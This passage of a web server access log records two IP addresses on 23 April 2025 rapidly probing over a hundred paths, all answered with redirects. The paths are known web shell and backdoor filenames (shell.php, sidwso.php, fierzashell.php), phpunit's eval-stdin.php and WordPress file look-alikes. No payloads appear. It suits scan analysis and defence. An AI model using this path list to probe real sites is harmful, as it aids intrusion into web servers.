"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:26 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:19:27 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:19:27 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /lp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:27 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:27 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:27 -0400] "GET /wp-includes/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:27 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /yt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:27 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:27 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:27 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:19:28 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:28 -0400] "GET /indeks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:19:28 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:19:28 -0400] "GET /wp-content/plugins/seoo/xynz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:28 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:28 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:19:28 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:28 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:28 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:29 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /.github/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:29 -0400] "GET /wp-admin/js/widgets/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /my-sites.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:19:29 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:19:29 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:29 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:29 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:29 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:19:29 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /bn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:29 -0400] "GET /dr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:29 -0400] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:30 -0400] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:30 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:30 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:30 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:30 -0400] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:30 -0400] "GET /wp-admin/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:30 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:30 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:30 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:30 -0400] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:30 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:30 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:30 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:30 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:30 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:30 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:30 -0400] "GET /ay.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:30 -0400] "GET /wp-includes/Text/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:30 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:30 -0400] "GET /wordpress/wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:30 -0400] "GET /include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:30 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:30 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:30 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:31 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:31 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:31 -0400] "GET /wp-content/plugins/ioptimization/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:19:31 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:31 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:31 -0400] "GET /aa.php HTTP/1.1" 301 795 